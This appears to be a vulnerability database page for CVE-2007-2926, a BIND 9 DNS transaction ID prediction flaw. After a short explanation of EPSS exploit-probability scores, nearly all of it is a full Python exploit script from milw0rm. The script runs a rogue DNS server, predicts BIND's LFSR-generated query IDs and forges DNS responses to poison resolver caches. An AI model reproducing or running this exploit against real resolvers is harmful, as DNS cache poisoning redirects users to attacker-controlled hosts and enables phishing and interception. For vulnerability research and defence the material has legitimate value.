CVE-2007-2926 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/env python """ DNS Cache Poison v0.3beta by posedge based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error> id: ID to predict q: number of queries from the DNS server (only queries with LSB at 0 in ID) g: number of good predicted IDs e: number of errors while trying to predict a *supposed to be* predicted ID """ import socket, select, sys, time from struct import unpack, pack from socket import htons _ANSWER_TIME_LIMIT = 1.0 # 1sec _NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \ [<your_dns2_hostname>, <your_dns2_ip>], \ [<etc>, <etc>]] class BINDSimplePredict: def __init__(self, txid, bind_9_2_3___9_4_1=True): self.txid = txid self.cand = [] if bind_9_2_3___9_4_1 == True: # For BIND9 v9.2.3-9.4.1: self.tap1=0x80000057 self.tap2=0x80000062 else: # For BIND9 v9.0.0-9.2.2: self.tap1=0xc000002b # (0x80000057>>1)|(1<<31) self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31) self.next = self.run() return def run(self): if (self.txid & 1) != 0: #print "info: LSB is not 0. Can't predict the next transaction ID." return False #print "info: LSB is 0, predicting..." # One bit shift (assuming the two lsb's are 0 and 0) for msb in xrange(0, 2): self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF) # Two bit shift (assuming the two lsb's are 1 and 1) # First shift (we know the lsb is 1 in both LFSRs): v=self.txid v=(v>>1)^self.tap1^self.tap2 if (v & 1) == 0: # After the first shift, the lsb becomes 0, so the two LFSRs now have # identical lsb's: 0 and 0 or 1 and 1 # Second shift: v1=(v>>1) # 0 and 0 v2=(v>>1)^self.tap1^self.tap2 # 1 and 1 else: # After the first shift, the lsb becomes 1, so the two LFSRs now have # different lsb's: 1 and 0 or 0 and 1 # Second shift: v1=(v>>1)^self.tap1 # 1 and 0 v2=(v>>1)^self.tap2 # 0 and 1 # Also need to enumerate over the 2 msb's we are clueless about for msbits in xrange(0, 4): self.cand.append(((msbits<<14)|v1) & 0xFFFF) self.cand.append(((msbits<<14)|v2) & 0xFFFF) return True; class DNSData: def __init__(self, data): self.data=data self.name='' for i in xrange(12, len(data)): self.name+=data[i] if data[i] == '\x00': break q_type = unpack(">H", data[i+1:i+3])[0] if q_type != 1: # only type: A (host address) allowed. self.name = None return def response(self, ip=None): packet='' packet+=self.data[0:2] # id packet+="\x84\x10" # flags packet+="\x00\x01" # questions packet+="\x00\x01" # answer RRS packet+="\x00\x00" # authority RRS packet+="\x00\x00" # additional RRS packet+=self.name # queries: name packet+="\x00\x01" # queries: type (A) packet+="\x00\x01" # queries: class (IN) packet+="\xc0\x0c" # answers: name if ip == None: packet+="\x00\x05" # answers: type (CNAME) packet+="\x00\x01" # answers: class (IN) packet+="\x00\x00\x00\x01" # answers: time to live (1sec) packet+=pack(">H", len(self.name)+2) # answers: data length packet+="\x01" + "x" + self.name # answers: primary name else: packet+="\x00\x01" # answers: type (A) packet+="\x00\x01" # answers: class (IN) packet+="\x00\x00\x00\x01" # answers: time to live (1sec) packet+="\x00\x04" # answers: data length packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" # Additional return packet class DNSServer: def __init__(self): self.is_r = [] self.is_w = [] self.is_e = [] self.targets = [] self.named_conf = [] for i in xrange(len(_NAMED_CONF)): start = 0 tmp = '' for j in xrange(len(_NAMED_CONF[i][0])): if _NAMED_CONF[i][0][j] == '.': tmp += chr(j - start) tmp += _NAMED_CONF[i][0][start:j] start = j + 1 tmp += chr(j - start + 1) tmp += _NAMED_CONF[i][0][start:] + "\x00" self.named_conf.append([tmp, _NAMED_CONF[i][1]]) return def run(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.s.bind(('',53)) self.is_r.append(self.s) next = False i = 0 while 1: r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0) if r: try: data, addr = self.s.recvfrom(1024) except socket.error: continue txid = unpack(">H", data[0:2])[0] p=DNSData(data) if p.name == None: continue found = False for j in xrange(len(self.named_conf)): if p.name == self.named_conf[j][0]: found = True break if found == True: self.s.sendto(p.response(self.named_conf[j][1]), addr) continue # FIXME: wrong code, 'i' is 0 at begin and when 1 item in list... for i in xrange(len(self.targets)): if self.targets[i][0] == addr[0]: break if i == len(self.targets): self.targets.append([addr[0], False, time.time(), [None, None], \ None, 0, 0, 0]) if self.targets[i][1] == False: bsp = BINDSimplePredict(txid) self.targets[i][1] = bsp.next self.targets[i][3][0] = bsp.cand bsp = BINDSimplePredict(txid, False) self.targets[i][3][1] = bsp.cand else: if p.name == self.targets[i][4]: elapsed = time.time() - self.targets[i][2] if elapsed > _ANSWER_TIME_LIMIT: print 'info: slow answer, discarding (%.2f sec)' % elapsed else: self.targets[i][5] += 1 found_v1 = False found_v2 = False for j in xrange(10): if self.targets[i][3][0][j] == txid: found_v1 = True break if self.targets[i][3][1][j] == txid: found_v2 = True break if found_v1 == True or found_v2 == True: self.targets[i][6] += 1 else: self.targets[i][7] += 1 # TODO: if found_v1 or found_v2 is True, then show bind version! print "\n" + str(i) + ' target:', self.targets print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(), \ addr[0], addr[1], txid, self.targets[i][5], \ self.targets[i][6], self.targets[i][7]) self.targets[i][1] = False self.targets[i][2] = time.time() self.targets[i][4] = "\x01" + "x" + p.name self.s.sendto(p.response(), addr) return def close(self): self.s.close() return if __name__ == '__main__': dns_srv = DNSServer() try: dns_srv.run() except KeyboardInterrupt: print 'ctrl-c, leaving...' dns_srv.close() # milw0rm.com [2007-08-07]